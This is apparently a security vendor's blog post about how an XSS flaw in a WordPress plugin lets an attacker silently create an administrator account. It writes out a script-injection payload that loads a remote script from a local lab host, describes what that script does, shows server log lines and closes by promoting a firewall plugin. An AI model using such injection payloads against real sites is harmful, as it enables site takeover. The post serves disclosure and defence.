Every time we disclose a Cross Site Scripting (XSS) vulnerability in a WordPress plugin or theme, we always illustrate the issue with a screenshot similar to this one:
Proof of concept
Its size is only 253 bytes, but that’s enough: using AJAX, it sends an HTTP GET request to the WordPress “/wp-admin/user-new.php” script, retrieves the
_wpnonce_create-user security nonce in the output and uses it to send a POST request to the same script to create a “foobar” admin account. I uploaded it to a local machine at “http://127.0.0.1/script.js”.
Note that in the following video, I’m using the OneTone unauthenticated XSS vulnerability we disclosed a few weeks ago, but any XSS vulnerability will do:
- From a terminal, the unauthenticated attacker uses the
curlcommand to send a POST request to inject the malicious script (
<script src='//127.0.0.1/script.js'></script>) into the front-end page. The injected code can be seen in the source of the page.
- The admin logs in, and we can see there’s only one admin user registered on the blog.
- A new “foobar” admin account was successfully created.
The exploit is transparent to the victim, but if we check the HTTP server log, we can see the two requests sent by the script:
127.0.0.1 - - [14/Sep/2020:10:52:50 +0700] "GET /wp-admin/user-new.php HTTP/1.1" 200 229345 "http://example.com/" "" "-" "example.com" 127.0.0.1 - - [14/Sep/2020:10:52:50 +0700] "POST /wp-admin/user-new.php HTTP/1.1" 302 5 "http://example.com/" "" "-" "example.com"
As we saw in this proof of concept, exploiting simple XSS vulnerabilities in WordPress plugins and themes is easy and can lead to some very serious consequences, including remote code execution.
XSS vulnerabilities can be blocked by using a web application firewall such as our NinjaFirewall (WP Edition) WAF plugin. Both the free and premium version include a powerful filtering engine. Extra layers of security like Content Security Policy, which too can be configured with NinjaFirewall, can also help to better protect the administrator from XSS attacks.